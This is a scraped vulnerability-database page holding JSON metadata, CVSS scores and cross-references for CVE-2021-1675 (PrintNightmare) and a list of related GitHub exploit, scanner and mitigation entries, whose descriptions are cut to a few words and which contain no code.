DATABASE RESOURCES PRICING ABOUT US

{"id": "FF81AF93-C247-5242-810E-AA1201C16776", "vendorId": null, "type": "githubexploit", "bulletinFamily": "exploit", "title": "Exploit for Improper Privilege Management in Microsoft", "description": "# CVE-2021-1675 - PrintNightmare LPE (PowerShell)\n\n> Caleb Stewa...", "published": "2022-02-22T03:32:34", "modified": "2022-05-10T14:32:19", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 9.3}, "severity": "HIGH", "exploitabilityScore": 8.6, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": true}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "", "reporter": "", "references": [], "cvelist": ["CVE-2021-1675"], "immutableFields": [], "lastseen": "2022-08-20T09:03:07", "viewCount": 352, "enchantments": {"backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:7575B82F-7B7A-4416-B1AA-B8A2DF4D0800", "AKB:CDA9C43E-015D-4B04-89D3-D6CABC5729B9"]}, {"type": "avleonov", "idList": ["AVLEONOV:30285D85FDB40C8D55F6A24D9D446ECF", "AVLEONOV:9D3D76F4CC74C7ABB8000BC6AFB2A2CE"]}, {"type": "cert", "idList": ["VU:131152", "VU:383432"]}, {"type": "cisa", "idList": ["CISA:367C27124C09604830E0725F5F3123F7", "CISA:6C836D217FB0329B2D68AD71789D1BB0"]}, {"type": "cve", "idList": ["CVE-2021-1675"]}, {"type": "githubexploit", "idList": ["0263BC36-BEB1-519B-965B-52D9E6AB116F", "0BB19334-D311-5464-B40B-7B27A0AD8825", "17B904FB-7F3D-54F1-B1B5-069C67184EE5", "1883DF48-6A75-5743-AC93-56292D93A794", "19D705F8-AE98-5DD9-BC4E-CDC0497FB840", "1E42289A-77F8-55A2-B85E-83CAA00CE951", "272E1B9F-32B1-5E4A-A0A9-44AC16DA37DB", "2A12C3BB-2A75-5B33-AE9B-348DB656AC81", "3399B834-8492-5C0C-AA14-7F120BA37AF6", "3D6A6F0D-C38E-5819-A3A7-817A49825CBE", "4E279194-AC85-5607-A943-AC23EADADEF7", "645DABC8-04DA-51BF-A20F-68F611D2D666", "64AAF745-D50D-575C-B3FF-A09072475502", "895FF449-0383-5007-9352-FABB3E8BD54C", "8EDE916A-F04B-59F0-A88D-13DEF969DC00", "98CEA984-CF02-58F6-91D5-967F8D36F94A", "9A318669-DAF8-50FF-A5DF-E390E0386254", "9CC224C9-907A-5219-8EFD-A94F15DE0ADD", "A66D9AD7-B29D-5C48-B247-D8ACFCAE9BC7", "AAD37CB5-B2C3-5908-B0D3-052CF47F6D25", "B03B4134-B4C9-5B2D-BA55-EEEA540389F4", "B26A6295-2D2D-508F-B94C-38B6944F8A1F", "B3985759-BBD2-5956-860D-E6361564C262", "B8D9E2C0-202B-5806-88D2-B0E797582618", "BB9DA286-F06B-5A55-B344-1196B32F3C2B", "C6AE3BFC-9BBB-5327-8845-C88ABB6FEE40", "C841D92F-11E1-5077-AE70-CA2FEF0BC96E", "CD2BFDFF-9EBC-5C8F-83EC-62381CD9BCD5", "D21805C7-F04C-57A9-8A40-84CEEB7695BC", "DF28DCE7-CCFF-5653-81BA-719525BE09AD", "E601A788-C87D-5DD7-98BA-A68C2FEDE978", "E7D3FB75-54DE-5CD8-83D6-438BFC7CFA74", "E82ECEEF-07B8-5340-BAC6-FA5B0E964772", "F1347375-6380-5145-9881-486B76875649", "F1B229EB-2178-53B9-839E-BA0B916376A2", "F1C20A6A-5492-50FE-BB94-25D35B1459EC", "F92F972D-7309-5D0B-BCC2-054883AE83E9", "FF761088-559C-5E71-A5CD-196D4E4571B8", "FFBC2747-5957-57B1-9DD9-AB2BAFCB7BD6"]}, {"type": "hivepro", "idList": ["HIVEPRO:E7E537280075DE5C0B002F1AF44BE1C5"]}, {"type": "kaspersky", "idList": ["KLA12198", "KLA12202"]}, {"type": "kitploit", "idList": ["KITPLOIT:232707789076746523"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:DA59FECA8327C8353EA012EA1B957C7E", "MALWAREBYTES:DB34937B6474073D9444648D34438225"]}, {"type": "metasploit", "idList": ["MSF:ILITIES/MSFT-CVE-2021-34527/"]}, {"type": "mscve", "idList": ["MS:CVE-2021-1675", "MS:CVE-2021-34527"]}, {"type": "mskb", "idList": ["KB5004945"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_JUN_5003681.NASL"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:23EF75126B24C22C999DAD4D7A2E9DF5", "QUALYSBLOG:485C0D608A0A8288FF38D618D185D2A2"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:45A121567763FF457DE6E50439C2605A", "RAPID7BLOG:4B35B23167A9D5E016537F6A81E4E9D4", "RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "RAPID7BLOG:8882BFA669B38BCF7B5A8A26F657F735", "RAPID7BLOG:8DADA7B6B3B1BA6ED3D6EDBA37A79204", "RAPID7BLOG:E44F025D612AC4EA5DF9F2B56FF8680C"]}, {"type": "securelist", "idList": ["SECURELIST:0C07A61E6D92865F5B58728A60866991"]}, {"type": "seebug", "idList": ["SSV:99276"]}, {"type": "talosblog", "idList": ["TALOSBLOG:44F665C3D577FC52EF671E9C0CB1750F", "TALOSBLOG:8CDF0A62E30713225D10811E0E977C1D"]}, {"type": "thn", "idList": ["THN:42B8A8C00254E7187FE0F1EF2AF6F5D7", "THN:6428957E9DED493169A2E63839F98667", "THN:9CE630030E0F3E3041E633E498244C8D", "THN:CAFA6C5C5A34365636215CFD7679FD50", "THN:EDD5C9F076596EB9D13D36268BDBFAD1"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:6F7C157D4D3EB409080D90F02185E728", "THREATPOST:933913B1D9B9CF84D33FECFC77C2FDC8", "THREATPOST:A8242348917526090B7A1B23735D5C6C", "THREATPOST:EED27183B3F49112A9E785EA56534781"]}]}, "score": {"value": 1.5, "vector": "NONE"}, "dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:7575B82F-7B7A-4416-B1AA-B8A2DF4D0800", "AKB:CDA9C43E-015D-4B04-89D3-D6CABC5729B9"]}, {"type": "avleonov", "idList": ["AVLEONOV:30285D85FDB40C8D55F6A24D9D446ECF", "AVLEONOV:9D3D76F4CC74C7ABB8000BC6AFB2A2CE"]}, {"type": "cert", "idList": ["VU:131152", "VU:383432"]}, {"type": "cisa", "idList": ["CISA:367C27124C09604830E0725F5F3123F7", "CISA:6C836D217FB0329B2D68AD71789D1BB0"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2021-1675"]}, {"type": "cve", "idList": ["CVE-2021-1675"]}, {"type": "githubexploit", "idList": ["0263BC36-BEB1-519B-965B-52D9E6AB116F", "0BB19334-D311-5464-B40B-7B27A0AD8825", "14B62DA4-FBC4-5B89-AB9F-9F8E3505AFAD", "17B904FB-7F3D-54F1-B1B5-069C67184EE5", "1883DF48-6A75-5743-AC93-56292D93A794", "19D705F8-AE98-5DD9-BC4E-CDC0497FB840", "21F83D93-118D-50C7-A5C0-B2069237666E", "272E1B9F-32B1-5E4A-A0A9-44AC16DA37DB", "2A12C3BB-2A75-5B33-AE9B-348DB656AC81", "3399B834-8492-5C0C-AA14-7F120BA37AF6", "3D6A6F0D-C38E-5819-A3A7-817A49825CBE", "4749D0AA-8CE9-53E3-8EFF-E818FDC61B24", "4E279194-AC85-5607-A943-AC23EADADEF7", "645DABC8-04DA-51BF-A20F-68F611D2D666", "64AAF745-D50D-575C-B3FF-A09072475502", "86F04665-0984-596F-945A-3CA176A53057", "895FF449-0383-5007-9352-FABB3E8BD54C", "8EDE916A-F04B-59F0-A88D-13DEF969DC00", "98CEA984-CF02-58F6-91D5-967F8D36F94A", "9A318669-DAF8-50FF-A5DF-E390E0386254", "9CC224C9-907A-5219-8EFD-A94F15DE0ADD", "A66D9AD7-B29D-5C48-B247-D8ACFCAE9BC7", "AAD37CB5-B2C3-5908-B0D3-052CF47F6D25", "AD904001-0962-5826-AD78-253E0FB3B7B7", "AF2B8EF5-A739-53BD-8B8D-04A8C441268C", "B03B4134-B4C9-5B2D-BA55-EEEA540389F4", "B26A6295-2D2D-508F-B94C-38B6944F8A1F", "B3985759-BBD2-5956-860D-E6361564C262", "B8D9E2C0-202B-5806-88D2-B0E797582618", "BB9DA286-F06B-5A55-B344-1196B32F3C2B", "C6AE3BFC-9BBB-5327-8845-C88ABB6FEE40", "C841D92F-11E1-5077-AE70-CA2FEF0BC96E", "CD2BFDFF-9EBC-5C8F-83EC-62381CD9BCD5", "D21805C7-F04C-57A9-8A40-84CEEB7695BC", "DF28DCE7-CCFF-5653-81BA-719525BE09AD", "E601A788-C87D-5DD7-98BA-A68C2FEDE978", "E7D3FB75-54DE-5CD8-83D6-438BFC7CFA74", "E82ECEEF-07B8-5340-BAC6-FA5B0E964772", "F1347375-6380-5145-9881-486B76875649", "F1B229EB-2178-53B9-839E-BA0B916376A2", "F1C20A6A-5492-50FE-BB94-25D35B1459EC", "F92F972D-7309-5D0B-BCC2-054883AE83E9", "FF761088-559C-5E71-A5CD-196D4E4571B8", "FFBC2747-5957-57B1-9DD9-AB2BAFCB7BD6"]}, {"type": "hivepro", "idList": ["HIVEPRO:E7E537280075DE5C0B002F1AF44BE1C5"]}, {"type": "kaspersky", "idList": ["KLA12198", "KLA12202"]}, {"type": "kitploit", "idList": ["KITPLOIT:232707789076746523"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:7F8FC685D6EFDE8FC4909FDA86D496A5", "MALWAREBYTES:DA59FECA8327C8353EA012EA1B957C7E", "MALWAREBYTES:DB34937B6474073D9444648D34438225"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT-WINDOWS-DCERPC-CVE_2021_1675_PRINTNIGHTMARE-"]}, {"type": "mscve", "idList": ["MS:CVE-2021-1675", "MS:CVE-2021-34527"]}, {"type": "mskb", "idList": ["KB5004945"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_JUN_5003635.NASL", "SMB_NT_MS21_JUN_5003637.NASL", "SMB_NT_MS21_JUN_5003638.NASL", "SMB_NT_MS21_JUN_5003646.NASL", "SMB_NT_MS21_JUN_5003681.NASL", "SMB_NT_MS21_JUN_5003687.NASL", "SMB_NT_MS21_JUN_5003694.NASL", "SMB_NT_MS21_JUN_5003695.NASL", "SMB_NT_MS21_JUN_5003697.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:167261"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "QUALYSBLOG:23EF75126B24C22C999DAD4D7A2E9DF5", "QUALYSBLOG:485C0D608A0A8288FF38D618D185D2A2", "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:45A121567763FF457DE6E50439C2605A", "RAPID7BLOG:4B35B23167A9D5E016537F6A81E4E9D4", "RAPID7BLOG:57AB78EC625B6F8060F1E6BD668BDD0C", "RAPID7BLOG:5CDF95FB2AC31414FD390E0E0A47E057", "RAPID7BLOG:8882BFA669B38BCF7B5A8A26F657F735", "RAPID7BLOG:8DADA7B6B3B1BA6ED3D6EDBA37A79204", "RAPID7BLOG:D1C9D661B6FC47BE44B8FBB6E1D49AD5", "RAPID7BLOG:E44F025D612AC4EA5DF9F2B56FF8680C", "RAPID7BLOG:F9B4F18ABE4C32CD54C3878DD17A8630"]}, {"type": "securelist", "idList": ["SECURELIST:0C07A61E6D92865F5B58728A60866991", "SECURELIST:830DE5B1B5EBB6AEE4B12EF66AD749F9", "SECURELIST:86368EF0EA7DAA3D2AB20E0597A62656", "SECURELIST:BB0230F9CE86B3F1994060AA0A809C08", "SECURELIST:C540EBB7FD8B7FB9E54E119E88DB5C48"]}, {"type": "seebug", "idList": ["SSV:99276"]}, {"type": "talosblog", "idList": ["TALOSBLOG:44F665C3D577FC52EF671E9C0CB1750F", "TALOSBLOG:8CDF0A62E30713225D10811E0E977C1D"]}, {"type": "thn", "idList": ["THN:42B8A8C00254E7187FE0F1EF2AF6F5D7", "THN:6428957E9DED493169A2E63839F98667", "THN:9CE630030E0F3E3041E633E498244C8D", "THN:CAFA6C5C5A34365636215CFD7679FD50", "THN:EDD5C9F076596EB9D13D36268BDBFAD1", "THN:F35E41E26872B23A7F620C6D8F7E2334"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:6F7C157D4D3EB409080D90F02185E728", "THREATPOST:8D4EA8B0593FD44763915E703BC9AB72", "THREATPOST:933913B1D9B9CF84D33FECFC77C2FDC8", "THREATPOST:A8242348917526090B7A1B23735D5C6C", "THREATPOST:ADA9E95C8FD42722E783C74443148525", "THREATPOST:EED27183B3F49112A9E785EA56534781"]}]}, "epss": [{"cve": "CVE-2021-1675", "epss": "0.968880000", "percentile": "0.994750000", "modified": "2023-03-17"}], "vulnersScore": 1.5}, "_state": {"dependencies": 1660986259, "score": 1660986395, "epss": 1679179052}, "_internal": {"score_hash": "04920df270ccaf4a2474dd39a17594ea"}, "privateArea": 1}

{"githubexploit": [{"lastseen": "2021-12-23T00:06:36", "description": "# CVE-2021-1675 - PrintNightmare DSC Mitigation (PowerShell)\n\n> ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-02T17:29:04", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-12-22T20:12:23", "id": "D21805C7-F04C-57A9-8A40-84CEEB7695BC", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:22:41", "description": "# CVE-2021-1675\nCVE-2021-1675: ZERO-DAY VULNERABILITY IN WINDOWS...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-02T18:01:21", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-10-24T04:58:56", "id": "E601A788-C87D-5DD7-98BA-A68C2FEDE978", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:22:34", "description": "# CVE-2021-1675 - PrintNightmare LPE (PowerShell)\n\n> Caleb Stewa...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-02T16:12:15", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-12-08T22:23:08", "id": "B26A6295-2D2D-508F-B94C-38B6944F8A1F", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:24:27", "description": "## CarbonBlack Hunting Query for CVE-2021-1675 (PrintNightmare)\n...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-02T07:30:24", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-10-24T04:57:49", "id": "17B904FB-7F3D-54F1-B1B5-069C67184EE5", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:22:38", "description": "# CVE-2021-1675\nFix without disabling Print Spooler\n\nScript chec...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-01T19:50:46", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-08-05T03:00:30", "id": "9A318669-DAF8-50FF-A5DF-E390E0386254", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:22:37", "description": "# CVE-2021-1675 - PrintNightmare LPE (PowerShell)\n\n> Caleb Stewa...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-02T06:14:29", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-12-10T13:43:31", "id": "272E1B9F-32B1-5E4A-A0A9-44AC16DA37DB", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-03-18T14:23:47", "description": "# CVE-2021-1675-SCANNER\nVulnerability Scanner for CVE-2021-1675\n...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-02T01:45:00", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-03-18T12:17:15", "id": "A66D9AD7-B29D-5C48-B247-D8ACFCAE9BC7", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-07-23T13:07:17", "description": "# PrintNightmareScanner\nScanner to detect Windows Print Spooler ...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-01T13:58:01", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2022-07-23T07:58:37", "id": "895FF449-0383-5007-9352-FABB3E8BD54C", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:22:44", "description": "# CVE-202...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-29T14:24:30", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-09-15T02:02:40", "id": "BB9DA286-F06B-5A55-B344-1196B32F3C2B", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2021-12-10T15:27:35", "description": "### CVE-2021-1675 \n\n\u4fee\u6539\u81eahttps://github.com/sailay1996/Prin...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-20T06:26:45", "type": "githubexploit", "title": "Exploit for Improper Privilege Management in Microsoft", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-10-24T06:07:21", "id": "19D705F8-AE98-5DD9-BC4E-CDC0497FB840", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "privateArea": 1}, {"lastseen": "2022-08-18T15:04:04", "description": "# PrintNightmare\n\n![image](https://user-images.githubusercontent...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", 